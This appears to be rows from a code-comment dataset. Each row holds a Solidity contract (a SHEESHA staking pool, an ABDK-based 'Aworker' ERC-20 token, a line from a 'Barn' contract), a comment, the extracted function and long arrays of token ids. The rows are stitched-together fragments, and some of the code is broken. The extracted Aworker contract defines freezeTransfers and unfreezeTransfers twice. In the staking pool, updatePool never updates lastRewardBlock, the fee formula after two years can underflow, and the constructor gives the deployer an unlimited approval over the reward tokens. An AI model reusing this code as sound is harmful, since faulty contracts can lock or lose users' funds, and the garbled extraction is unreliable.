using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
uint256 checkpoint; //time user staked
bool status; //true-> user existing | false-> not
//
// We do some fancy math here. Basically, any point in time, the amount of SHEESHAs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accSheeshaPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accSheeshaPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of token/LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SHEESHAs to distribute per block.
uint256 lastRewardBlock; // Last block number that SHEESHAs distribution occurs.
uint256 accSheeshaPerShare; // Accumulated SHEESHAs per share, times 1e12. See below.
}
// The SHEESHA TOKEN!
SHEESHA public sheesha;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint;
// The block number when SHEESHA mining starts.
uint256 public startBlock;
// SHEESHA tokens percenatge created per block based on rewards pool- 0.01%
uint256 public constant sheeshaPerBlock = 1;
//handle case till 0.01(2 decimal places)
uint256 public constant percentageDivider = 10000;
//20,000 sheesha 20% of supply
uint256 public lpRewards = 20000e18;
address public feeWallet = 0x5483d944038189B4232d1E35367420989E2C3762;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
constructor(
SHEESHA _sheesha
) {
sheesha = _sheesha;
startBlock = block.number;
IERC20(sheesha).safeApprove(msg.sender, uint256(-1));
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(
uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accSheeshaPerShare: 0
})
);
}
// Update the given pool's SHEESHA allocation point. Can only be called by the owner.
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 sheeshaReward = (lpRewards.mul(sheeshaPerBlock).div(percentageDivider)).mul(pool.allocPoint).div(totalAllocPoint);
lpRewards = lpRewards.sub(sheeshaReward);
pool.accSheeshaPerShare = pool.accSheeshaPerShare.add(sheeshaReward.mul(1e12).div(lpSupply));
}
// Deposit LP tokens to MasterChef for SHEESHA allocation.
function deposit(uint256 _pid, uint256 _amount) public {
_deposit(msg.sender, _pid, _amount);
}
// stake from LGE directly
// Test coverage
// [x] Does user get the deposited amounts?
// [x] Does user that its deposited for update correcty?
// [x] Does the depositor get their tokens decreased
function depositFor(address _depositFor, uint256 _pid, uint256 _amount) public {
_deposit(_depositFor, _pid, _amount);
}
function _deposit(address _depositFor, uint256 _pid, uint256 _amount) internal nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_depositFor];
updatePool(_pid);
if(!isActive(_pid, _depositFor)) {
user.status = true;
user.checkpoint = block.timestamp;
}
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accSheeshaPerShare).div(1e12).sub(user.rewardDebt);
safeSheeshaTransfer(_depositFor, pending);
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount); // This is depositedFor address
}
user.rewardDebt = user.amount.mul(pool.accSheeshaPerShare).div(1e12); /// This is deposited for address
emit Deposit(_depositFor, _pid, _amount);
}
// Withdraw LP tokens or claim rewrads if amount is 0
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accSheeshaPerShare).div(1e12).sub(user.rewardDebt);
safeSheeshaTransfer(msg.sender, pending);
if(_amount > 0) {
uint256 feePercent = 4;
//2 years
if(user.checkpoint.add(730 days) <= block.timestamp) {
//4-> unstake fee interval
feePercent = uint256(100).sub(getElapsedMonthsCount(user.checkpoint).mul(4));
}
uint256 fees = _amount.mul(feePercent).div(100);
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(feeWallet, fees);
pool.lpToken.safeTransfer(address(msg.sender), _amount.sub(fees));
}
user.rewardDebt = user.amount.mul(pool.accSheeshaPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
//user must approve this contract to add rewards
function addRewards(uint256 _amount) public onlyOwner {
require(_amount > 0, "Invalid amount");
IERC20(sheesha).safeTransferFrom(address(msg.sender), address(this), _amount);
lpRewards = lpRewards.add(_amount);
}
// Safe sheesha transfer function, just in case if rounding error causes pool to not have enough SHEESHAs
function safeSheeshaTransfer(address _to, uint256 _amount) internal {
uint256 sheeshaBal = sheesha.balanceOf(address(this));
if (_amount > sheeshaBal) {
sheesha.transfer(_to, sheeshaBal);
} else {
sheesha.transfer(_to, _amount);
}
}
// View function to see pending SHEESHAs on frontend.
function pendingSheesha(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSheeshaPerShare = pool.accSheeshaPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 sheeshaReward = (lpRewards.mul(sheeshaPerBlock).div(percentageDivider)).mul(pool.allocPoint).div(totalAllocPoint);
accSheeshaPerShare = accSheeshaPerShare.add(sheeshaReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accSheeshaPerShare).div(1e12).sub(user.rewardDebt);
}
function isActive(uint256 _pid, address _user) public view returns(bool) {
return userInfo[_pid][_user].status;
}
function getElapsedMonthsCount(uint256 checkpoint) public view returns(uint256) {
return ((block.timestamp.sub(checkpoint)).div(30 days)).add(1);
}
function changeFeeWallet(address _feeWallet) external onlyOwner {
feeWallet = _feeWallet;
}
} | View function to see pending SHEESHAs on frontend. | function pendingSheesha(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSheeshaPerShare = pool.accSheeshaPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 sheeshaReward = (lpRewards.mul(sheeshaPerBlock).div(percentageDivider)).mul(pool.allocPoint).div(totalAllocPoint);
accSheeshaPerShare = accSheeshaPerShare.add(sheeshaReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accSheeshaPerShare).div(1e12).sub(user.rewardDebt);
}
| 1,133,352 | [
1,
1767,
445,
358,
2621,
4634,
348,
3900,
41,
2664,
1463,
603,
15442,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4634,
55,
580,
281,
3395,
12,
11890,
5034,
389,
6610,
16,
1758,
389,
1355,
13,
3903,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
3639,
25003,
2502,
729,
273,
16753,
63,
67,
6610,
6362,
67,
1355,
15533,
203,
3639,
2254,
5034,
4078,
55,
580,
281,
3395,
2173,
9535,
273,
2845,
18,
8981,
55,
580,
281,
3395,
2173,
9535,
31,
203,
3639,
2254,
5034,
12423,
3088,
1283,
273,
2845,
18,
9953,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
309,
261,
2629,
18,
2696,
405,
2845,
18,
2722,
17631,
1060,
1768,
597,
12423,
3088,
1283,
480,
374,
13,
288,
203,
5411,
2254,
5034,
23901,
281,
3395,
17631,
1060,
273,
261,
9953,
17631,
14727,
18,
16411,
12,
87,
580,
281,
3395,
2173,
1768,
2934,
2892,
12,
18687,
25558,
13,
2934,
16411,
12,
6011,
18,
9853,
2148,
2934,
2892,
12,
4963,
8763,
2148,
1769,
203,
5411,
4078,
55,
580,
281,
3395,
2173,
9535,
273,
4078,
55,
580,
281,
3395,
2173,
9535,
18,
1289,
12,
87,
580,
281,
3395,
17631,
1060,
18,
16411,
12,
21,
73,
2138,
2934,
2892,
12,
9953,
3088,
1283,
10019,
203,
3639,
289,
203,
3639,
327,
729,
18,
8949,
18,
16411,
12,
8981,
55,
580,
281,
3395,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
2934,
1717,
12,
1355,
18,
266,
2913,
758,
23602,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.16;
/*
* Abstract Token Smart Contract. Copyright © 2017 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
pragma solidity ^0.4.20;
/*
* EIP-20 Standard Token Smart Contract Interface.
* Copyright © 2016–2018 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
pragma solidity ^0.4.20;
/**
* ERC-20 standard token interface, as defined
* <a href="https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md">here</a>.
*/
contract Token {
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply () public view returns (uint256 supply);
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) public view returns (uint256 balance);
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value)
public returns (bool success);
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success);
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
public returns (bool success);
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance (address _owner, address _spender)
public view returns (uint256 remaining);
/**
* Logged when tokens were transferred from one owner to another.
*
* @param _from address of the owner, tokens were transferred from
* @param _to address of the owner, tokens were transferred to
* @param _value number of tokens transferred
*/
event Transfer (address indexed _from, address indexed _to, uint256 _value);
/**
* Logged when owner approved his tokens to be transferred by some spender.
*
* @param _owner owner who approved his tokens to be transferred
* @param _spender spender who were allowed to transfer the tokens belonging
* to the owner
* @param _value number of tokens belonging to the owner, approved to be
* transferred by the spender
*/
event Approval (
address indexed _owner, address indexed _spender, uint256 _value);
}
/*
* Safe Math Smart Contract. Copyright © 2016–2017 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
pragma solidity ^0.4.20;
/**
* Provides methods to safely add, subtract and multiply uint256 numbers.
*/
contract SafeMath {
uint256 constant private MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Add two uint256 values, throw in case of overflow.
*
* @param x first value to add
* @param y second value to add
* @return x + y
*/
function safeAdd (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x <= MAX_UINT256 - y);
return x + y;
}
/**
* Subtract one uint256 value from another, throw in case of underflow.
*
* @param x value to subtract from
* @param y value to subtract
* @return x - y
*/
function safeSub (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x >= y);
return x - y;
}
/**
* Multiply two uint256 values, throw in case of overflow.
*
* @param x first value to multiply
* @param y second value to multiply
* @return x * y
*/
function safeMul (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
if (y == 0) return 0; // Prevent division by zero at the next line
assert (x <= MAX_UINT256 / y);
return x * y;
}
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () public {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) public view returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value)
public returns (bool success) {
uint256 fromBalance = accounts [msg.sender];
if (fromBalance < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (fromBalance, _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success) {
uint256 spenderAllowance = allowances [_from][msg.sender];
if (spenderAllowance < _value) return false;
uint256 fromBalance = accounts [_from];
if (fromBalance < _value) return false;
allowances [_from][msg.sender] =
safeSub (spenderAllowance, _value);
if (_value > 0 && _from != _to) {
accounts [_from] = safeSub (fromBalance, _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
public returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance (address _owner, address _spender)
public view returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) internal accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) internal allowances;
}
/**
* Aworker token smart contract.
*/
contract AworkerToken is AbstractToken {
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Total number of tokens in circulation.
*/
uint256 tokenCount;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new Aworker token smart contract, with given number of tokens issued
* and given to msg.sender, and make msg.sender the owner of this smart
* contract.
*
* @param _tokenCount number of tokens to issue and give to msg.sender
*/
function AworkerToken (uint256 _tokenCount) public {
owner = msg.sender;
tokenCount = _tokenCount;
accounts [msg.sender] = _tokenCount;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply () public view returns (uint256 supply) {
return tokenCount;
}
/**
* Get name of this token.
*
* @return name of this token
*/
function name () public pure returns (string result) {
return "Aworker";
}
/**
* Get symbol of this token.
*
* @return symbol of this token
*/
function symbol () public pure returns (string result) {
return "WORK";
}
/**
* Get number of decimals for this token.
*
* @return number of decimals for this token
*/
function decimals () public pure returns (uint8 result) {
return 8;
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value)
public returns (bool success) {
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success) {
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance, this method
* receives assumed current allowance value as an argument. If actual
* allowance differs from an assumed one, this method just returns false.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _currentValue assumed number of tokens currently allowed to be
* transferred
* @param _newValue number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _currentValue, uint256 _newValue)
public returns (bool success) {
if (allowance (msg.sender, _spender) == _currentValue)
return approve (_spender, _newValue);
else return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner (address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
/**
* Unfreeze token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
} | * Aworker token smart contract./ | contract AworkerToken is AbstractToken {
address private owner;
uint256 tokenCount;
bool frozen = false;
function AworkerToken (uint256 _tokenCount) public {
owner = msg.sender;
tokenCount = _tokenCount;
accounts [msg.sender] = _tokenCount;
}
function totalSupply () public view returns (uint256 supply) {
return tokenCount;
}
function name () public pure returns (string result) {
return "Aworker";
}
function symbol () public pure returns (string result) {
return "WORK";
}
function decimals () public pure returns (uint8 result) {
return 8;
}
function transfer (address _to, uint256 _value)
public returns (bool success) {
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success) {
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
function approve (address _spender, uint256 _currentValue, uint256 _newValue)
public returns (bool success) {
if (allowance (msg.sender, _spender) == _currentValue)
return approve (_spender, _newValue);
else return false;
}
function setOwner (address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
event Freeze ();
event Unfreeze ();
} | 12,179,432 | [
1,
37,
10124,
1147,
13706,
6835,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
432,
10124,
1345,
353,
4115,
1345,
288,
203,
225,
1758,
3238,
3410,
31,
203,
203,
225,
2254,
5034,
1147,
1380,
31,
203,
203,
225,
1426,
12810,
273,
629,
31,
203,
203,
225,
445,
432,
10124,
1345,
261,
11890,
5034,
389,
2316,
1380,
13,
1071,
288,
203,
565,
3410,
273,
1234,
18,
15330,
31,
203,
565,
1147,
1380,
273,
389,
2316,
1380,
31,
203,
565,
9484,
306,
3576,
18,
15330,
65,
273,
389,
2316,
1380,
31,
203,
225,
289,
203,
203,
225,
445,
2078,
3088,
1283,
1832,
1071,
1476,
1135,
261,
11890,
5034,
14467,
13,
288,
203,
565,
327,
1147,
1380,
31,
203,
225,
289,
203,
203,
225,
445,
508,
1832,
1071,
16618,
1135,
261,
1080,
563,
13,
288,
203,
565,
327,
315,
37,
10124,
14432,
203,
225,
289,
203,
203,
225,
445,
3273,
1832,
1071,
16618,
1135,
261,
1080,
563,
13,
288,
203,
565,
327,
315,
10566,
14432,
203,
225,
289,
203,
203,
225,
445,
15105,
1832,
1071,
16618,
1135,
261,
11890,
28,
563,
13,
288,
203,
565,
327,
1725,
31,
203,
225,
289,
203,
203,
225,
445,
7412,
261,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
203,
565,
1071,
1135,
261,
6430,
2216,
13,
288,
203,
565,
309,
261,
28138,
13,
327,
629,
31,
203,
565,
469,
327,
4115,
1345,
18,
13866,
261,
67,
869,
16,
389,
1132,
1769,
203,
225,
289,
203,
203,
225,
445,
7412,
1265,
261,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
203,
565,
1071,
1135,
261,
6430,
2216,
13,
2
]
|
./full_match/43114/0xB501E9fbebaCA5B15A196bF113E396a840c28070/sources/contracts/Barn.sol | remainder goes to Sheep owner
| owed = (owed * (100 - WOOL_CLAIM_TAX_PERCENTAGE)) / 100; | 4,517,506 | [
1,
2764,
25407,
13998,
358,
348,
580,
881,
3410,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
2523,
329,
273,
261,
543,
329,
380,
261,
6625,
300,
678,
51,
1741,
67,
15961,
3445,
67,
56,
2501,
67,
3194,
19666,
2833,
3719,
342,
2130,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
